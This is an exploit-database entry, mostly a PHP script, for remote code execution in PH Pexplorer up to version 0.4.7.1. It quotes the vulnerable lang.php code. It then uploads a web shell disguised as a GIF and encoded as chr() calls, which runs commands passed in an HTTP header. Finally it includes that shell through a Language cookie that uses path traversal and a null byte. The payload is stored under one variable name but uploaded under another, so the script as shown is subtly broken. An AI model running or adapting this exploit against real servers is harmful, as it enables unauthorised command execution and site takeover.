PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit

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PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit
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#!/usr/bin/php -q -d short_open_tag=on
<?
print '
 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0     _                   __           __       __                     1
 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 1                  \ \____/ >> Exploit database separated by exploit   0
 0                   \/___/          type (local, remote, DoS, etc.)    1
 1                                                                      1
 0  [+] Site            : Inj3ct0r.com                                  0
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
 0                                                                      0
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit

Vendor: http://bluevirus.ch
Download: http://bluevirus.ch/PH%20Pexplorer?
Author: eidelweiss
contact: [email protected]

/*
Vuln find in lang.php code:
...
if(array_key_exists("Language",$_COOKIE))
{
	// Open dir with languagefiles
	$dir=opendir(c_langpath);
	$langs=Array();
	
	//	Browse dir and save all language shorthand symbols of existing files
	while($res=readdir($dir))
		if( $res!="." and $res!=".." and is_file(c_langpath."$res") )
		{
			$t=basename(is_file($res),".php");
			if( strlen($t)==2 ||  strlen($t)==5 )
				$langs[]=$t;
		}

	//	Close dir
	closedir($dir);
	
	//	Lade Sprache, falls vorhanden
	$filename=c_langpath.$_COOKIE['Language'].".php";
	if( in_array($_COOKIE['Language'],$langs) and is_file($filename) )
	{
		include($filename);
................

    if( is_file(c_langpath.$file) && preg_match('/[a-z\-]{2,5}\.php$/',$file) && $file!="htmlentities.php" )
    {
      include(c_langpath.$file);
      $avail_langs[]=array('language' => $l_language, 'file' => $l_file, 'author' => $l_author, 'mail' => $l_author_m, 'url' => $l_author_h, 'short' => $l_shortcuts);
    }
  }
  
  include($l_file);
  
  return $avail_langs;
...............

Nice code !!!

upload evil file, and set cookie: Language: [path to you evil file]

then you can run evil file in all script pages :P

eidelweiss

c0de by Kacper Modify by eidelweiss
*/

if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      PH Pexplorer path
cmd:       a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 127.0.0.1 /PH Pexplorer/ ls -la -P1.1.1.1:80
php '.$argv[0].' 192.168.11.9 /  -p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$sh3ll=
chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x36).chr(0x3c).
chr(0x3f).chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x6f).
chr(0x62).chr(0x5f).chr(0x63).chr(0x6c).chr(0x65).chr(0x61).
chr(0x6e).chr(0x28).chr(0x29).chr(0x3b).chr(0x65).chr(0x63).
chr(0x68).chr(0x6f).chr(0x22).chr(0x2e).chr(0x2e).chr(0x2e).
chr(0x48).chr(0x61).chr(0x63).chr(0x6b).chr(0x65).chr(0x72).
chr(0x2e).chr(0x2e).chr(0x4b).chr(0x61).chr(0x63).chr(0x70).
chr(0x65).chr(0x72).chr(0x2e).chr(0x2e).chr(0x4d).chr(0x61).
chr(0x64).chr(0x65).chr(0x2e).chr(0x2e).chr(0x69).chr(0x6e).
chr(0x2e).chr(0x2e).chr(0x50).chr(0x6f).chr(0x6c).chr(0x61).
chr(0x6e).chr(0x64).chr(0x21).chr(0x21).chr(0x2e).chr(0x2e).
chr(0x48).chr(0x61).chr(0x75).chr(0x72).chr(0x75).chr(0x2e).
chr(0x2e).chr(0x5e).chr(0x5f).chr(0x5e).chr(0x2e).chr(0x2e).
chr(0x44).chr(0x45).chr(0x56).chr(0x49).chr(0x4c).chr(0x2e).
chr(0x54).chr(0x45).chr(0x41).chr(0x4d).chr(0x2e).chr(0x2e).
chr(0x74).chr(0x68).chr(0x65).chr(0x2e).chr(0x2e).chr(0x62).
chr(0x65).chr(0x73).chr(0x74).chr(0x2e).chr(0x2e).chr(0x70).
chr(0x6f).chr(0x6c).chr(0x69).chr(0x73).chr(0x68).chr(0x2e).
chr(0x2e).chr(0x74).chr(0x65).chr(0x61).chr(0x6d).chr(0x2e).
chr(0x2e).chr(0x47).chr(0x72).chr(0x65).chr(0x65).chr(0x74).
chr(0x7a).chr(0x2e).chr(0x2e).chr(0x2e).chr(0x22).chr(0x3b).
chr(0x69).chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).
chr(0x74).chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).
chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).chr(0x75).
chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).
chr(0x69).chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30).
chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).
chr(0x20).chr(0x22).chr(0x6d).chr(0x79).chr(0x5f).chr(0x64).
chr(0x65).chr(0x6c).chr(0x69).chr(0x6d).chr(0x22).chr(0x3b).
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).
chr(0x72).chr(0x75).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).
chr(0x45).chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).
chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x48).
chr(0x41).chr(0x55).chr(0x52).chr(0x55).chr(0x5d).chr(0x29).
chr(0x3b).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).chr(0x3f).
chr(0x3e);

$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="sefile"; filename="sh3ll.gif"
Content-Type: text/plain

'.$hauru.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="upfile"

Upload file
-----------------------------7d6224c08dc--
';

$packet ="POST ".$p."htmlentities.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);


$packet ="GET ".$p."lang.php HTTP/1.1\r\n";
$packet.="Cookie: Language=../example_dir/sh3ll.gif%00;\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
$temp=explode("my_delim",$html);
die($temp[1]);
}
echo "Exploit err0r :(";
echo "INDONESIAN HACKER STILL ROCK";
?>



#  0day.today [2018-04-14]  #